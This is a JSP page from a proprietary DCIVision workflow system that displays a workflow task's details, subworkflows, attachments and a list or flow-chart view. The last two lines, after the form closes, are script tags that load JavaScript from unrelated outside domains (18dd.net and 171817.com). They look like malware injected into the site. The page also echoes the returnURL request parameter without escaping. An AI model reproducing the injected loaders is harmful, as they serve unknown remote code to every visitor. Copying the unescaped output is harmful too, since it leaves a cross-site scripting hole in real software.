<%
/*
 * @(#)ViewWorkflowTaskTree.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  ViewWorkflowTaskTree.jsp

  This class is reflecting business logic uses.

    @author           Angus Shiu
    @company          DCIVision Limited
    @creation date    30/07/2003
    @version          $Revision: 1.44.4.8 $
*/
%>

<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.workflow.*"%>
<%@ page import="com.dcivision.workflow.bean.*"%>
<%@ page import="com.dcivision.workflow.web.*"%>
<%@ page import="com.dcivision.workflow.dao.*"%>
<%@ page import="com.dcivision.form.dao.*"%>
<%@ page import="com.dcivision.workflow.core.*"%>
<%@ page import="com.dcivision.dms.bean.*"%>
<%@ page import="com.dcivision.dms.dao.*"%>
<%@page import="org.quartz.JobDataMap"%>
<jsp:useBean id="applicationContainer" scope="application" class="com.dcivision.framework.ApplicationContainer"/>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintWorkflowProgressForm" scope="request" class="com.dcivision.workflow.web.MaintWorkflowProgressForm"/>

<script language="Javascript">
<!--
function hideBlock(b) {
    FindObj(b).style.display = "none";
}

function showBlock(b) {
    FindObj(b).style.display = "block";
}

function toggleBlock(b) {
    if(FindObj(b).style.display == "block" || FindObj(b).style.display == "") {
      hideBlock(b);
    } else {
      showBlock(b);
    }
}

function adjustIFrameSize (iframeWindow) {
  if (iframeWindow.document.height) {
    var iframeElement = parent.document.getElementById(iframeWindow.name);
    if(iframeElement){
    iframeElement.style.height = iframeWindow.document.height + 'px';
  	}
  }else if (document.all) {
    var iframeElement = parent.document.all[iframeWindow.name];
    if(iframeElement){
    if (iframeWindow.document.compatMode &&
        iframeWindow.document.compatMode != 'BackCompat'){
      iframeElement.style.height =iframeWindow.document.documentElement.scrollHeight + 5 + 'px';
    } else {
       if (iframeElement && iframeWindow.document.body.scrollHeight){
  iframeElement.style.height = iframeWindow.document.body.scrollHeight + 5 + 'px';
       }
    }
    }
  }
}

  function OpViewProcess(trackID, id, workflowRecordID){
    var url = "<%= request.getContextPath() %>/workflow/MaintWorkflowTask.do?SHOW_HEADER_FOOTER=N&navMode=WORKFLOW.TREE&trackID=" + trackID + "&ID=" + id + "&workflowRecordID=" + workflowRecordID + "&listView=Y";
    var name = "DCIVisionViewWorkflowProgress";
    var popW = "850";
    var popH = "600";
    var feature = "status=no,menubar=no,scrollbars=yes,resizable=yes,toolbar=no";
    OpenCenteredPopup(url, name, popW, popH, feature);
    return false;
  }

-->
</script>
<%/****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/

   String ACTION_MODE = (String)request.getAttribute(GlobalConstant.ACTION_MODE);
  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/

  Connection conn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);
  PermissionManager permissionManager = sessionContainer.getPermissionManager();
  DmsDocumentDAObject dmsDocumentDAO = new DmsDocumentDAObject(sessionContainer, conn);
  DmsVersionDAObject dmsVersionDAO = new DmsVersionDAObject(sessionContainer, conn);
    WorkflowProgressDAObject progressDAO = new WorkflowProgressDAObject(sessionContainer, conn);
  String navMode = request.getParameter("navMode");
  String functionType = "";
  if ( GlobalConstant.TRUE.equals(request.getParameter("listView")) ) {
    functionType = "workflow.label.list_view";
  } else {
    functionType = "workflow.label.flow_chart_view";
  }
  String showHeaderFooter = request.getAttribute("SHOW_HEADER_FOOTER")==null? "" :(String)request.getAttribute("SHOW_HEADER_FOOTER");
  List subworkflowList = (List) request.getAttribute("subworkflowList");
  String delegateUserRecordID = request.getParameter("delegateUserRecordID");
  Integer DMS_PERSONAL_FOLDER = new Integer("6001");
  Integer DMS_PUBLIC_FOLDER = new Integer("6002");
%>
<html:form action="workflow/MaintWorkflowTask">

<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property='ID'/>
<html:hidden property='recordStatus'/>
<html:hidden property='updateCount'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>
<html:hidden property='status'/>
<html:hidden property='delegateUserRecordID' value="<%=delegateUserRecordID%>" />


<!-- Page Title Section -->
<layout:titleFormat><font class="pageTitle"><layout:pageTitle displayActionStr="false" functionType="<%=functionType%>"/></font>
<%if (!"N".equals(request.getParameter("SHOW_HEADER_FOOTER"))) {%>
<layout:returnButton>
<%= request.getParameter("returnURL") == null ? "ListWorkflowTask1.do" : request.getParameter("returnURL") %>
</layout:returnButton>
<%}%>
</layout:titleFormat>
<table cellpadding="20" cellspacing="0" border="0" width="100%"><tr><td>
<table width="780" cellpadding="0" cellspacing="2" border="0" align="left">
  <!-- Section Header -->
  <layout:sectionHeader name="workflow.label.task_information" colspan="4"/>
  <tr>
    <td class="<layout:classLabel/>" width="150"><bean:message key='workflow.label.track_id'/>:&nbsp;</td>
    <td class="dataField" width="630" colspan="2"><% Integer trackID = TextUtility.parseIntegerObj(((MaintWorkflowProgressForm)maintWorkflowProgressForm).getTrackID());%><%=TextUtility.formatNumberWithZeroPrefix(SystemParameterFactory.getSystemParameterInteger(SystemParameterConstant.WORKLFLOW_TRACK_ID_FORMAT_LENGTH).intValue(), trackID)%><html:hidden property='trackID'/></td>
  </tr>
  <tr>
    <td class="<layout:classLabel/>" width="150"><bean:message key='workflow.label.category'/>:&nbsp;</td>
    <td class="dataField" width="630" colspan="2"><html:text property='workflowCategory' textOnly='true' size='5' maxlength='10'/></td>
  </tr>
  <tr>
    <td class="<layout:classLabel/>" width="150"><bean:message key='workflow.label.workflow_code'/>:&nbsp;</td>
    <td class="dataField" width="630" colspan="2"><html:text property='workflowCode' textOnly='true' size='5' maxlength='10'/></td>
  </tr>
  <tr>
    <td class="<layout:classLabel/>" width="150"><bean:message key='workflow.label.workflow_version'/>:&nbsp;</td>
    <td class="dataField" width="630" colspan="2"><html:text property='workflowVersion' textOnly='true' size='5' maxlength='10'/></td>
  </tr>
  <tr>
    <td class="<layout:classLabel/>" width="150"><bean:message key='workflow.label.step_name'/>:&nbsp;</td>
    <td class="dataField" width="630" colspan="2"><%if (maintWorkflowProgressForm.getStepSeq().equals(WorkflowStep.END_STEP_SEQ_NO.toString())) {%><html:hidden property='stepSeq'/> <html:img src='IconInfinity.gif' /> <%} else {%><html:text property='stepSeq' textOnly='true' size='5' maxlength='10'/>.<%}%> <html:text property='stepName' textOnly='true' size='5' maxlength='10'/></td>
  </tr>
  <tr>
    <td class="<layout:classLabel/>" width="150"><bean:message key='workflow.label.effective_period'/>:&nbsp;</td>
    <td class="dataField" width="630" colspan="2">
      <html:datepicker textOnly='true' property='startDate'/>
      <bean:message key='common.label.period_to'/>&nbsp;
      <html:datepicker textOnly='true' property='endDate'/>
    </td>
  </tr>
  <% if (subworkflowList.size() > 0) { %>
  <tr>
    <td class="<layout:classLabel/>" valign="top"><bean:message key='workflow.label.related_subworkflow'/>:&nbsp;</td>
    <td class="dataField" width="630" colspan="2">
      <%
      WorkflowProgress fullProgress = null;
      WorkflowProgress pendingProgress = null;
      WorkflowProgressDAObject wfProgressDAO = new WorkflowProgressDAObject(sessionContainer, (Connection)request.getAttribute(GlobalConstant.DB_KEY));
      WorkflowRecordDAObject recordDAO = new WorkflowRecordDAObject(sessionContainer, (Connection)request.getAttribute(GlobalConstant.DB_KEY));
      MtmWorkflowProgressSystemObjectDAObject progressObjDAO = new MtmWorkflowProgressSystemObjectDAObject(sessionContainer, (Connection)request.getAttribute(GlobalConstant.DB_KEY));
      for (int i=0; i<subworkflowList.size(); i++) {
        MtmWorkflowChildParentProgress tmp = (MtmWorkflowChildParentProgress) subworkflowList.get(i);
        WorkflowProgress fristSubProgress = (WorkflowProgress)progressDAO.getFirstProgressByTrackID(tmp.getSubworkflowTrackID());
        // falcon_add_start_EIP-141
        List fullProgressList = wfProgressDAO.getListByTrackID(tmp.getSubworkflowTrackID());
        if (!Utility.isEmpty(fullProgressList)) {
          for (int m = 0; m < fullProgressList.size(); m++ ) {
            fullProgress = (WorkflowProgress) fullProgressList.get(m);
              if(!WorkflowStep.ACTION_TYPE_SUBMIT.equals(fullProgress.getActionType())) {
                pendingProgress = (WorkflowProgress)fullProgressList.get(m);
                 }
               }
             }
        // falcon_add_end
        WorkflowStepDAObject stepDAO = new WorkflowStepDAObject(sessionContainer, conn);

        List objectList = progressObjDAO.getListByTrackID(tmp.getSubworkflowTrackID());
        for (int j=0; j <objectList.size(); j++){
          MtmWorkflowProgressSystemObject progressObj = (MtmWorkflowProgressSystemObject)objectList.get(j);

          //MtmWorkflowProgressSystemObject progressObj = (MtmWorkflowProgressSystemObject)progressObjDAO.getObjectByTrackID(tmp.getSubworkflowTrackID());
           JobDataMap dataMap = new JobDataMap( (Map)progressObj.getParameterObject() );

           Object workflowObj = dataMap.get("WORKFLOW_OBJECT");
           if ( workflowObj instanceof com.dcivision.workflow.bean.MtmWorkflowTrackInterruptReq ) {
             com.dcivision.workflow.bean.MtmWorkflowTrackInterruptReq interruptReq = (com.dcivision.workflow.bean.MtmWorkflowTrackInterruptReq)workflowObj;
             WorkflowStep workflowStep = null;
             if (!MtmWorkflowTrackInterruptReq.INTERRUPT_TYPE_STOP.equals(interruptReq.getInterruptType().toString())){
               workflowStep = (WorkflowStep)stepDAO.getObjectByID(interruptReq.getTargetStepID());
             }
             String interruptType = null;
             if (MtmWorkflowTrackInterruptReq.INTERRUPT_TYPE_ROLLBACK.equals(interruptReq.getInterruptType().toString())){
               interruptType = MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "workflow.label.step_status_B");
             }

             if (MtmWorkflowTrackInterruptReq.INTERRUPT_TYPE_STOP.equals(interruptReq.getInterruptType().toString())){
               interruptType = MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "workflow.label.step_status_stop");
             }
             if (MtmWorkflowTrackInterruptReq.INTERRUPT_TYPE_SKIP.equals(interruptReq.getInterruptType().toString())){
               interruptType = MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "workflow.label.step_status_K");
             }
             if (MtmWorkflowTrackInterruptReq.INTERRUPT_TYPE_REVOKE.equals(interruptReq.getInterruptType().toString())){
               interruptType = MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "workflow.label.step_status_V");
             }
      %>
      <nobr>  <bean:message key='workflow.label.workflow_interrupt_request'/>&nbsp;<%=interruptType%>&nbsp;<%if (!MtmWorkflowTrackInterruptReq.INTERRUPT_TYPE_STOP.equals(interruptReq.getInterruptType().toString())){%><bean:message key='dms.label.email_send_to'/>&nbsp;<bean:message key='workflow.label.workflow_step'/><%=workflowStep.getStepSeq()+"."+workflowStep.getStepName()%><%}%>
        <html:img src='IconWorkflowRelated.gif' />
        <%if(!Utility.isEmpty(fullProgress) && !Utility.isEmpty(pendingProgress) && !WorkflowStep.ACTION_TYPE_SUBMIT.equals(fullProgress.getActionType())) {%>
          <a href='MaintWorkflowTrack.do?SHOW_HEADER_FOOTER=<%=request.getAttribute("SHOW_HEADER_FOOTER")%>&showFullList=<%= GlobalConstant.TRUE.equals(request.getParameter("showFullList")) ? GlobalConstant.TRUE : GlobalConstant.FALSE %>&navMode=V&trackID=<%=tmp.getSubworkflowTrackID()%>&ID=<%=tmp.getSubworkflowRecordID()%>&workflowProgressID=<%=pendingProgress.getID()%>&listView=<%= GlobalConstant.TRUE.equals(request.getParameter("listView")) ? "Y" : "N" %>&returnURL=<%=java.net.URLEncoder.encode(request.getRequestURL() +"?"+  request.getQueryString())%>'><%=TextUtility.formatNumberWithZeroPrefix(SystemParameterFactory.getSystemParameterInteger(SystemParameterConstant.WORKLFLOW_TRACK_ID_FORMAT_LENGTH).intValue(), tmp.getSubworkflowTrackID() )%></a>
        <%}else{%>
          <a href='MaintWorkflowTrack.do?SHOW_HEADER_FOOTER=<%=request.getAttribute("SHOW_HEADER_FOOTER")%>&showFullList=<%= GlobalConstant.TRUE.equals(request.getParameter("showFullList")) ? GlobalConstant.TRUE : GlobalConstant.FALSE %>&navMode=V&trackID=<%=tmp.getSubworkflowTrackID()%>&ID=<%=tmp.getSubworkflowRecordID()%>&workflowProgressID=<%=fristSubProgress.getID()%>&listView=<%= GlobalConstant.TRUE.equals(request.getParameter("listView")) ? "Y" : "N" %>&returnURL=<%=java.net.URLEncoder.encode(request.getRequestURL() +"?"+  request.getQueryString())%>'><%=TextUtility.formatNumberWithZeroPrefix(SystemParameterFactory.getSystemParameterInteger(SystemParameterConstant.WORKLFLOW_TRACK_ID_FORMAT_LENGTH).intValue(), tmp.getSubworkflowTrackID() )%></a>
        <%}%>
        <html:img src="LayoutSpacer.gif"  width="20" height="1"/>
      </nobr><br>
      <%   } else { %>
    <nobr>
    <html:img src='IconWorkflowRelated.gif' />
      <%if(!Utility.isEmpty(fullProgress) && !Utility.isEmpty(pendingProgress) && !WorkflowStep.ACTION_TYPE_SUBMIT.equals(fullProgress.getActionType())) {%>
        <a href='MaintWorkflowTrack.do?SHOW_HEADER_FOOTER=<%=request.getAttribute("SHOW_HEADER_FOOTER")%>&showFullList=<%= GlobalConstant.TRUE.equals(request.getParameter("showFullList")) ? GlobalConstant.TRUE : GlobalConstant.FALSE %>&navMode=V&trackID=<%=tmp.getSubworkflowTrackID()%>&ID=<%=tmp.getSubworkflowRecordID()%>&workflowProgressID=<%=pendingProgress.getID()%>&listView=<%= GlobalConstant.TRUE.equals(request.getParameter("listView")) ? "Y" : "N" %>&returnURL=<%=java.net.URLEncoder.encode(request.getRequestURL() +"?"+  request.getQueryString())%>'><%=TextUtility.formatNumberWithZeroPrefix(SystemParameterFactory.getSystemParameterInteger(SystemParameterConstant.WORKLFLOW_TRACK_ID_FORMAT_LENGTH).intValue(), tmp.getSubworkflowTrackID() )%></a>
      <%}else{%>
        <a href='MaintWorkflowTrack.do?SHOW_HEADER_FOOTER=<%=request.getAttribute("SHOW_HEADER_FOOTER")%>&showFullList=<%= GlobalConstant.TRUE.equals(request.getParameter("showFullList")) ? GlobalConstant.TRUE : GlobalConstant.FALSE %>&navMode=V&trackID=<%=tmp.getSubworkflowTrackID()%>&ID=<%=tmp.getSubworkflowRecordID()%>&workflowProgressID=<%=fristSubProgress.getID()%>&listView=<%= GlobalConstant.TRUE.equals(request.getParameter("listView")) ? "Y" : "N" %>&returnURL=<%=java.net.URLEncoder.encode(request.getRequestURL() +"?"+  request.getQueryString())%>'><%=TextUtility.formatNumberWithZeroPrefix(SystemParameterFactory.getSystemParameterInteger(SystemParameterConstant.WORKLFLOW_TRACK_ID_FORMAT_LENGTH).intValue(), tmp.getSubworkflowTrackID() )%></a>
      <%}%>
      <html:img src="LayoutSpacer.gif"  width="20" height="1"/>
    </nobr><br>
    <%   }
      }
    } %>
    </td>
  </tr>
  <% } %>
  <tr>
    <td class="<layout:classLabel/>" width="150"><bean:message key='workflow.label.supporting_document'/>:&nbsp;</td>
    <td class="dataField" width="630" colspan="2">
    <%
      SysFunction sysFunction = applicationContainer.getSysFunctionByFunctionCode(SystemFunctionConstant.DMS);
      List attachmentList = (List)request.getAttribute("attachmentList");
      for (int i=0; attachmentList!=null && i<attachmentList.size(); i++) {
        WorkflowProgressAttachment attachment = (WorkflowProgressAttachment)attachmentList.get(i);
        if(WorkflowProgressAttachment.ATTACHED_DMS_VERSION_SYSTEM_ID.equals(attachment.getAttachmentType()) ){
          String versionID = attachment.getExternalID();
          DmsVersion dmsVersion = (DmsVersion)dmsVersionDAO.getObjectByID(new Integer(versionID));
          Integer dmsDocumentID = dmsVersion.getDocumentID();
          DmsDocument dmsDocument = (DmsDocument)dmsDocumentDAO.getObjectByID(dmsDocumentID);
          String permission = (String)permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, dmsDocument.getParentID());
          //DmsRoot dmsRoot = (DmsRoot)dmsRootDAO.getObjectByID(dmsDocument.getRootID());

        %>
        <dms:documentInfo docObject='<%=dmsDocument%>' permission='<%=permission%>' inviteToRead = 'true' version='<%=versionID%>'/>
        <%
        } else if (!Utility.isEmpty(attachment.getExternalID())) {
        %>
        <a href="GetWorkflowProgressAttachmentServlet?ID=<%=attachment.getID()%>" target="_blank"><html:img src='IconFile.gif'  align='absmiddle' alt='<%= MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "workflow.label.view_attachment", Integer.toString(i) ) %>'/><%=attachment.getAttachmentName()%></a>;
        <%
        }
      }
      if (attachmentList.size()>0 && sysFunction!=null && GlobalConstant.STATUS_ACTIVE.equals(sysFunction.getStatus()) ){
      String permissionStr = permissionManager.getPermission(GlobalConstant.OBJECT_TYPE_FUNCTION,DMS_PERSONAL_FOLDER);
        permissionStr += permissionManager.getPermission(GlobalConstant.OBJECT_TYPE_FUNCTION,DMS_PUBLIC_FOLDER);
        if(!Utility.isEmpty(permissionStr) && permissionStr.indexOf("R") > -1 ){
    %><%}}%>
    </td>
  </tr>

 <%
  WorkflowRecordDAObject recordDAO = new WorkflowRecordDAObject(sessionContainer, (Connection)request.getAttribute(GlobalConstant.DB_KEY));
  WorkflowRecord workflowRecord = (WorkflowRecord) recordDAO.getObjectByID(new Integer(maintWorkflowProgressForm.getWorkflowRecordID()));
  String categoryID = workflowRecord.getWorkflowCategoryID().toString();
  MtmWorkflowProgressSystemObjectDAObject progressObjDAO = new MtmWorkflowProgressSystemObjectDAObject(sessionContainer, (Connection)request.getAttribute(GlobalConstant.DB_KEY));
%>
  <tr>
    <td class="<layout:classLabel/>" width="150" valign="top"><bean:message key='workflow.label.related_to_object'/>:&nbsp;</td>
    <td  class="dataField" width="240" >
    <%if (SystemWorkflowConstant.SUB_WORKFLOW_INTERRUPT.equals(categoryID)) {
        WorkflowStepDAObject stepDAO = new WorkflowStepDAObject(sessionContainer, conn);

        List objectList = progressObjDAO.getListByTrackID(new Integer(request.getParameter("trackID")));
        for (int j=0; j <objectList.size(); j++){
          MtmWorkflowProgressSystemObject progressObj = (MtmWorkflowProgressSystemObject)objectList.get(j);

          //MtmWorkflowProgressSystemObject progressObj = (MtmWorkflowProgressSystemObject)progressObjDAO.getObjectByTrackID(new Integer(request.getParameter("trackID")));
          JobDataMap dataMap = new JobDataMap( (Map)progressObj.getParameterObject() );
          WorkflowProgress parentProgress = (WorkflowProgress)dataMap.get("WORKFLOW_PROGRESS");
          WorkflowRecord wfRecord = (WorkflowRecord)recordDAO.getObjectByID(parentProgress.getWorkflowRecordID());


          Object workflowObj = dataMap.get("WORKFLOW_OBJECT");
          com.dcivision.workflow.bean.MtmWorkflowTrackInterruptReq interruptReq = (com.dcivision.workflow.bean.MtmWorkflowTrackInterruptReq)workflowObj;
          WorkflowStep workflowStep = null;
          if (!MtmWorkflowTrackInterruptReq.INTERRUPT_TYPE_STOP.equals(interruptReq.getInterruptType().toString())){
            workflowStep = (WorkflowStep)stepDAO.getObjectByID(interruptReq.getTargetStepID());
          }
          String interruptType = null;
          if (MtmWorkflowTrackInterruptReq.INTERRUPT_TYPE_ROLLBACK.equals(interruptReq.getInterruptType().toString())){
             interruptType = MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "workflow.label.step_status_B");
          }
          if (MtmWorkflowTrackInterruptReq.INTERRUPT_TYPE_STOP.equals(interruptReq.getInterruptType().toString())){
            interruptType = MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "workflow.label.step_status_stop");
          }
          if (MtmWorkflowTrackInterruptReq.INTERRUPT_TYPE_SKIP.equals(interruptReq.getInterruptType().toString())){
            interruptType = MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "workflow.label.step_status_K");
          }
          if (MtmWorkflowTrackInterruptReq.INTERRUPT_TYPE_REVOKE.equals(interruptReq.getInterruptType().toString())){
            interruptType = MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "workflow.label.step_status_V");
          }
      %>
      <bean:message key='workflow.label.workflow_interrupt_for'/><br><%=interruptType%> :<a href="javascript://" onClick="return OpViewProcess('<%=parentProgress.getTrackID()%>', '<%=parentProgress.getID()%>', '<%=parentProgress.getWorkflowRecordID()%>');"><%=wfRecord.getWorkflowCode() + "-" + parentProgress.getTrackID()%></a><%if (!MtmWorkflowTrackInterruptReq.INTERRUPT_TYPE_STOP.equals(interruptReq.getInterruptType().toString())){
%> <bean:message key='dms.label.email_send_to'/> :<%=workflowStep.getStepSeq()+"."+workflowStep.getStepName()%><%}%>
   <% }
    }
   %>
      <jsp:include page="IncludeRelatedObjectLink.jsp">
        <jsp:param name="workflowRecordID" value="<%=maintWorkflowProgressForm.getWorkflowRecordID()%>"/>
        <jsp:param name="workflowTrackID"  value="<%=maintWorkflowProgressForm.getTrackID()%>"/>
        <jsp:param name="workflowStepID" value="<%=maintWorkflowProgressForm.getWorkflowStepID()%>"/>
        <jsp:param name="progressID" value="<%=maintWorkflowProgressForm.getID()%>"/>
        <jsp:param name="isViewTask" value="Y"/>
        <jsp:param name="wfNavMode" value="V"/>
      </jsp:include>
    </td>
    <td class="dataField" width="390">
    <%if (SystemWorkflowConstant.FMB_SUBMISSION_BY_FORM.equals(categoryID)) {%>
      <span id="divFormSubmissionShow">
       [<a href="" onclick="showBlock('divFormSubmissionHide'); hideBlock('divFormSubmissionShow'); toggleBlock('formSubmission');return false" ><bean:message key ='calendar.label.hide'/></a>]
      </span>
      <span id="divFormSubmissionHide">
       [<a href="" onclick="hideBlock('divFormSubmissionHide'); showBlock('divFormSubmissionShow'); toggleBlock('formSubmission');return false" ><bean:message key ='calendar.label.show'/></a>]
     </span>
    <%}%>
    </td>
  </tr>
  <%if (SystemWorkflowConstant.FMB_SUBMISSION_BY_FORM.equals(categoryID)){%>
  <tr ><td colspan="3">
   <div id="formSubmission">
   <%
    FormSubmissionDAObject formSubmissionDAO = new FormSubmissionDAObject(sessionContainer, (Connection)request.getAttribute(GlobalConstant.DB_KEY));
    List tempObjectList = progressObjDAO.getListByTrackID(new Integer(request.getParameter("trackID")));
    MtmWorkflowProgressSystemObject progressObj = null;
    if(!Utility.isEmpty(tempObjectList)){
      progressObj = (MtmWorkflowProgressSystemObject)tempObjectList.get(0);
    }
    //MtmWorkflowProgressSystemObject progressObj = (MtmWorkflowProgressSystemObject)progressObjDAO.getObjectByTrackID( new Integer(request.getParameter("trackID")) );
    // JobDataMap dataMap = new JobDataMap( (Map)progressObj.getParameterObject() );
    com.dcivision.form.bean.FormSubmission formSubmission = (com.dcivision.form.bean.FormSubmission)formSubmissionDAO.getObjectByID(progressObj.getObjectID());
    com.dcivision.form.dao.FormRecordDAObject formDAO = new com.dcivision.form.dao.FormRecordDAObject(sessionContainer, (Connection)request.getAttribute(GlobalConstant.DB_KEY));
   %>
   <iframe name="iframeName" id="iframeName" src="<%=request.getContextPath()%>/form/MaintFormSubmission.do?navMode=V&formRecordID=<%=formSubmission.getFormRecordID()%>&formSubmissionID=<%=formSubmission.getID()%>&function=FORMTRACKING&workflowStepID=<%=maintWorkflowProgressForm.getStepSeq()%>&workflowStepIDStep=<%=maintWorkflowProgressForm.getWorkflowStepID()%>&progressID=<%=maintWorkflowProgressForm.getID()%>&isWorkflowViewFlag=Y&SHOW_HEADER_FOOTER=N&wfRecordID=<%=maintWorkflowProgressForm.getWorkflowRecordID()%>&wfTrackID=<%=maintWorkflowProgressForm.getTrackID()%>&isViewTask=Y&hideTitle=Y" width="780" frameborder="0" marginwidth="0" marginheight="0"  align="middle"  >
   <a href="<%=request.getContextPath()%>/form/MaintFormSubmission.do?navMode=V&formRecordID=<%=formSubmission.getFormRecordID()%>&formSubmissionID=<%=formSubmission.getID()%>&function=FORMTRACKING&workflowStepID=<%=maintWorkflowProgressForm.getStepSeq()%>&workflowStepIDStep=<%=maintWorkflowProgressForm.getWorkflowStepID()%>&progressID=<%=maintWorkflowProgressForm.getID()%>&isWorkflowViewFlag=Y&SHOW_HEADER_FOOTER=N&wfRecordID=<%=maintWorkflowProgressForm.getWorkflowRecordID()%>&wfTrackID=<%=maintWorkflowProgressForm.getTrackID()%>&isViewTask=Y&hideTitle=Y"></a></iframe>
   <script language="Javascript">
   <!--
     hideBlock("divFormSubmissionShow");
     showBlock("divFormSubmissionHide");
   -->
   </script>
  </div>
  </td>
 </tr>
 <%}%>
</td></tr>

</table>
</td></tr>
<tr><td>
<table width="100%" cellpadding="0" cellspacing="3" border="0" align="left">
  <tr>
    <td colspan="3">
      <table width="100%" border="0" cellspacing="0" cellpadding="0">
        <tr>
          <td class="sectionTitle" nowrap><bean:message key='workflow.label.workflow_routine'/>:</td>
          <td align="right">
            <%
              String viewFlag=GlobalConstant.TRUE.equals(request.getParameter("listView")) ? GlobalConstant.FALSE : GlobalConstant.TRUE;
              String returnURL=request.getParameter("returnURL")==null? "" : ("returnURL="+java.net.URLEncoder.encode(request.getParameter("returnURL"),"UTF-8"));
              pageContext.setAttribute("viewFlag",viewFlag);
              pageContext.setAttribute("returnURL",returnURL);
            %>
            <logic:equal name='listView' value='<%=GlobalConstant.TRUE%>'>
              <html:standardButton label="workflow.label.flow_chart_view" link='<%="MaintWorkflowTask.do?SHOW_HEADER_FOOTER="+showHeaderFooter+"&navMode="+WorkflowOperationConstant.WORKFLOW_TREE+"&ID=${maintWorkflowProgressForm.ID}&trackID=${maintWorkflowProgressForm.trackID}&workflowRecordID=${maintWorkflowProgressForm.workflowRecordID}&listView={pageScope.viewFlag}&${pageScope.returnURL}"%>'/>
            </logic:equal>
            <logic:equal name='listView' value='<%=GlobalConstant.FALSE%>'>
              <html:standardButton label="workflow.label.list_view" link='<%="MaintWorkflowTask.do?SHOW_HEADER_FOOTER="+showHeaderFooter+"&navMode="+WorkflowOperationConstant.WORKFLOW_TREE+"&ID=${maintWorkflowProgressForm.ID}&trackID=${maintWorkflowProgressForm.trackID}&workflowRecordID=${maintWorkflowProgressForm.workflowRecordID}&listView={pageScope.viewFlag}&${pageScope.returnURL}"%>'/>
            </logic:equal>
          </td>
        </tr>
      </table>
    </td>
  </tr>
  <tr>
    <td class="blackline" colspan="3" align="center"><html:img src="LayoutSpacer.gif"  width="1" height="1"/></td>
  </tr>
  <tr>
    <td>
  <%if (GlobalConstant.TRUE.equals(request.getParameter("listView")) ) { %>
      <jsp:include page="ShowWorkflowList.jsp">
        <jsp:param name="workflowRecordID" value="<%=maintWorkflowProgressForm.getWorkflowRecordID()%>"/>
        <jsp:param name="workflowProgressID" value="<%=maintWorkflowProgressForm.getID()%>"/>
        <jsp:param name="trackID" value="<%=maintWorkflowProgressForm.getTrackID()%>"/>
      </jsp:include>
  <%}else{%>
      <jsp:include page="ShowWorkflowTree.jsp">
        <jsp:param name="workflowRecordID" value="<%=maintWorkflowProgressForm.getWorkflowRecordID()%>"/>
        <jsp:param name="workflowProgressID" value="<%=maintWorkflowProgressForm.getID()%>"/>
        <jsp:param name="trackID" value="<%=maintWorkflowProgressForm.getTrackID()%>"/>
      </jsp:include>
  <%}%>
    </td>
  </tr>
  <%
    if (request.getAttribute("SHOW_HEADER_FOOTER")!=null){
      if(("N").equals((String)(request.getAttribute("SHOW_HEADER_FOOTER")))){
  %>
  <tr>
    <td align="center">
      <html:standardButton label="common.label.close" onClick="javascript:window.opener.location.reload();window.close();"/>
    </td>
  </tr>
  <%  }
    }
  %>
</table>
</td></tr></table>
</html:form>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>